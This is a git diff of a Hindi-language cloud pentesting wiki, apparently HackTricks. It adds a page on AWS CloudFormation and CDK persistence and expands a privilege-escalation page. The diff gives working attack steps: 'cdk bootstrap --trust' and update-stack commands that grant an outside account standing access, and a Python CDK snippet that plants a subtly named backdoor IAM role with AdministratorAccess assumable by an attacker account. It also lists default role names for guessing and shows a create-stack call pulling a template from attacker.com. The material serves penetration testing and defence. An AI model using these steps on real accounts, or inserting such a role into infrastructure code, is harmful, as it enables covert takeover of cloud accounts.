diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..21689c290 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +अधिक जानकारी के लिए, पहुँचें: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK एक CFN स्टैक को `CDKToolkit` के रूप में तैनात करता है। यह स्टैक एक पैरामीटर `TrustedAccounts` का समर्थन करता है जो बाहरी खातों को पीड़ित खाते में CDK परियोजनाओं को तैनात करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके पीड़ित खाते में अनिश्चितकालीन पहुँच प्राप्त कर सकता है, या तो AWS cli का उपयोग करके स्टैक को पैरामीटर के साथ फिर से तैनात करके, या AWS CDK cli का उपयोग करके। +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 92fa8effd..98572778c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,7 +12,7 @@ cloudformation के बारे में अधिक जानकारी ### `iam:PassRole`, `cloudformation:CreateStack` -इन अनुमतियों के साथ एक हमलावर **privileges को बढ़ा सकता है** एक **CloudFormation stack** को एक कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि **निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:** +इन अनुमतियों के साथ एक हमलावर **अधिकारों को बढ़ा सकता है** एक **CloudFormation स्टैक** को एक कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि **निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -43,17 +43,17 @@ aws cloudformation update-stack \ ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं** और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से जुड़ी हुई हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)। +यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट** कर सकते हैं और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से ही संलग्न हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)। `cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है। -**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से जुड़ी हुई है। +**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से ही संलग्न है। ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) एक हमलावर जिसके पास **भूमिका पास करने और एक ChangeSet बनाने और निष्पादित करने की अनुमति है** वह **एक नया क्लाउडफॉर्मेशन स्टैक बना/अपडेट कर सकता है और क्लाउडफॉर्मेशन सेवा भूमिकाओं का दुरुपयोग कर सकता है** जैसे कि CreateStack या UpdateStack के साथ। -निम्नलिखित शोषण **CreateStack एक**[ **का एक भिन्नता है**](./#iam-passrole-cloudformation-createstack) जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है। +निम्नलिखित शोषण **CreateStack एक**[ **का एक भिन्नता है**](#iam-passrole-cloudformation-createstack) जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है। ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -85,7 +85,7 @@ aws cloudformation describe-stacks \ ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -यह पिछले तरीके की तरह है बिना **IAM भूमिकाएँ** पास किए, इसलिए आप बस **पहले से जुड़े हुए का दुरुपयोग** कर सकते हैं, बस पैरामीटर को संशोधित करें: +यह पिछले तरीके की तरह है बिना **IAM भूमिकाएँ** पास किए, इसलिए आप बस **पहले से जुड़े हुए को दुरुपयोग** कर सकते हैं, बस पैरामीटर को संशोधित करें: ``` --change-set-type UPDATE ``` @@ -93,18 +93,63 @@ aws cloudformation describe-stacks \ ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट बनाने/अपडेट करने के लिए दुरुपयोग कर सकता है ताकि मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके। +एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट्स को बनाने/अपडेट करने के लिए क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग कर सकता है। **संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए प्रिवेस्क। ### `cloudformation:UpdateStackSet` -एक हमलावर इस अनुमति का दुरुपयोग बिना passRole अनुमति के स्टैकसेट को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके। +एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके। **संभावित प्रभाव:** जुड़े क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क। +## AWS CDK + +AWS cdk एक टूलकिट है जो उपयोगकर्ताओं को उनके परिचित भाषाओं में अपने बुनियादी ढांचे को कोड के रूप में परिभाषित करने की अनुमति देता है, साथ ही अनुभागों का आसानी से पुन: उपयोग करने की सुविधा भी देता है। CDK फिर उच्च-स्तरीय कोड (जैसे पायथन) को क्लाउडफॉर्मेशन टेम्पलेट्स (yaml या json) में परिवर्तित करता है। + +CDK का उपयोग करने के लिए, एक प्रशासनिक उपयोगकर्ता को पहले खाते को बूटस्ट्रैप करना होगा, जो कई IAM भूमिकाएँ बनाता है, जिसमें *exec role* शामिल है, जिसके पास \*/\* अनुमतियाँ होती हैं। ये भूमिकाएँ नामकरण संरचना `cdk----` का पालन करती हैं। बूटस्ट्रैपिंग को प्रति क्षेत्र प्रति खाते एक बार किया जाना चाहिए। + +डिफ़ॉल्ट रूप से, CDK उपयोगकर्ताओं को CDK का उपयोग करने के लिए आवश्यक भूमिकाओं की सूची बनाने की अनुमति नहीं होती है, जिसका अर्थ है कि आपको उन्हें मैन्युअल रूप से निर्धारित करना होगा। यदि आप किसी डेवलपर की मशीन या किसी CI/CD नोड से समझौता करते हैं, तो इन भूमिकाओं को ग्रहण किया जा सकता है ताकि आप CFN टेम्पलेट्स को तैनात करने की क्षमता प्राप्त कर सकें, `cfn-exec` भूमिका का उपयोग करके CFN को किसी भी संसाधन को तैनात करने की अनुमति देने के लिए, जिससे खाते का पूर्ण समझौता हो जाता है। + +### भूमिका नाम निर्धारित करना + +यदि आपके पास `cloudformation:DescribeStacks` है, तो भूमिकाएँ `CDKToolkit` नामक एक स्टैक में परिभाषित हैं, और आप वहां से नाम खींच सकते हैं। + +यदि आप किसी मशीन पर हैं जिसका उपयोग CDK परियोजनाओं को बनाने और तैनात करने के लिए किया गया है, तो आप उन्हें परियोजनाओं की मूल निर्देशिका में `cdk.out/manafest.json` से खींच सकते हैं। + +आप यह भी अनुमान लगा सकते हैं कि वे क्या हैं। `qualifier` एक स्ट्रिंग है जो भूमिकाओं में जोड़ी जाती है जिससे एक साथ कई CDK बूटस्ट्रैप के उदाहरण तैनात किए जा सकें, हालाँकि डिफ़ॉल्ट मान को हार्ड-कोड किया गया है `hnb659fds`। +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### परियोजना स्रोत में दुर्भावनापूर्ण कोड जोड़ना + +यदि आप परियोजना स्रोत में लिख सकते हैं, लेकिन इसे स्वयं तैनात नहीं कर सकते (उदाहरण के लिए, डेवलपर कोड को CI/CD के माध्यम से तैनात करता है, न कि स्थानीय मशीन से), तो आप स्टैक में दुर्भावनापूर्ण संसाधन जोड़कर वातावरण को समझौता कर सकते हैं। निम्नलिखित एक IAM भूमिका जोड़ता है जिसे एक हमलावर खाते द्वारा ग्रहण किया जा सकता है एक python CDK परियोजना में। +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 3fc6e2a85..3528b68c5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation एक सेवा है जो **AWS संसाधनों के प्रबंधन को सरल बनाने** के लिए डिज़ाइन की गई है। यह उपयोगकर्ताओं को AWS में चल रहे अपने अनुप्रयोगों पर अधिक ध्यान केंद्रित करने में सक्षम बनाता है **संसाधन प्रबंधन पर खर्च किए गए समय को कम करके**। इस सेवा की मुख्य विशेषता **टेम्पलेट** है—इच्छित AWS संसाधनों का एक वर्णनात्मक मॉडल। एक बार जब यह टेम्पलेट प्रदान किया जाता है, तो CloudFormation निर्दिष्ट संसाधनों के **प्रावधान और कॉन्फ़िगरेशन** के लिए जिम्मेदार होता है। यह स्वचालन AWS अवसंरचना के अधिक कुशल और त्रुटि-मुक्त प्रबंधन को सुविधाजनक बनाता है। +AWS CloudFormation एक सेवा है जो **AWS संसाधनों के प्रबंधन को सरल बनाने** के लिए डिज़ाइन की गई है। यह उपयोगकर्ताओं को AWS में चल रहे अपने अनुप्रयोगों पर अधिक ध्यान केंद्रित करने में सक्षम बनाता है, **संसाधन प्रबंधन पर खर्च किए गए समय को कम करके**। इस सेवा की मुख्य विशेषता **टेम्पलेट** है—इच्छित AWS संसाधनों का एक वर्णनात्मक मॉडल। एक बार जब यह टेम्पलेट प्रदान किया जाता है, तो CloudFormation निर्दिष्ट संसाधनों के **प्रावधान और कॉन्फ़िगरेशन** के लिए जिम्मेदार होता है। यह स्वचालन AWS अवसंरचना के अधिक कुशल और त्रुटि-मुक्त प्रबंधन को सुविधाजनक बनाता है। ### Enumeration ```bash @@ -37,13 +37,19 @@ In the following page you can check how to **cloudformation अनुमति ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation Check for **गुप्त** या संवेदनशील जानकारी in the **template, parameters & output** of each CloudFormation ## Codestar -AWS CodeStar एक सेवा है जो AWS पर सॉफ़्टवेयर विकास परियोजनाओं को बनाने, प्रबंधित करने और उन पर काम करने के लिए है। आप AWS CodeStar परियोजना के साथ AWS पर तेजी से अनुप्रयोग विकसित, निर्माण और तैनात कर सकते हैं। एक AWS CodeStar परियोजना आपके परियोजना विकास टूलचेन के लिए **AWS सेवाओं को बनाती और एकीकृत करती है**। आपके द्वारा चुने गए AWS CodeStar परियोजना टेम्पलेट के आधार पर, वह टूलचेन स्रोत नियंत्रण, निर्माण, तैनाती, वर्चुअल सर्वर या सर्वर रहित संसाधनों, और अधिक को शामिल कर सकता है। AWS CodeStar भी **परियोजना उपयोगकर्ताओं के लिए आवश्यक अनुमतियों का प्रबंधन करता है** (जिन्हें टीम के सदस्यों कहा जाता है)। +AWS CodeStar एक सेवा है जो AWS पर सॉफ़्टवेयर विकास परियोजनाओं को बनाने, प्रबंधित करने और उन पर काम करने के लिए है। आप AWS CodeStar परियोजना के साथ AWS पर तेजी से अनुप्रयोग विकसित, निर्माण और तैनात कर सकते हैं। एक AWS CodeStar परियोजना आपके परियोजना विकास टूलचेन के लिए **AWS सेवाओं को बनाती और एकीकृत करती है**। आपके AWS CodeStar परियोजना टेम्पलेट के चयन के आधार पर, वह टूलचेन स्रोत नियंत्रण, निर्माण, तैनाती, वर्चुअल सर्वर या सर्वर रहित संसाधनों, और अधिक को शामिल कर सकता है। AWS CodeStar भी **परियोजना उपयोगकर्ताओं के लिए आवश्यक अनुमतियों का प्रबंधन करता है** (जिन्हें टीम के सदस्यों कहा जाता है)। ### Enumeration ```bash @@ -58,7 +64,7 @@ aws codestar describe-user-profile --user-arn ``` ### Privesc -अगली पृष्ठ पर आप देख सकते हैं कि **codestar अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: +निम्नलिखित पृष्ठ पर आप **codestar अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/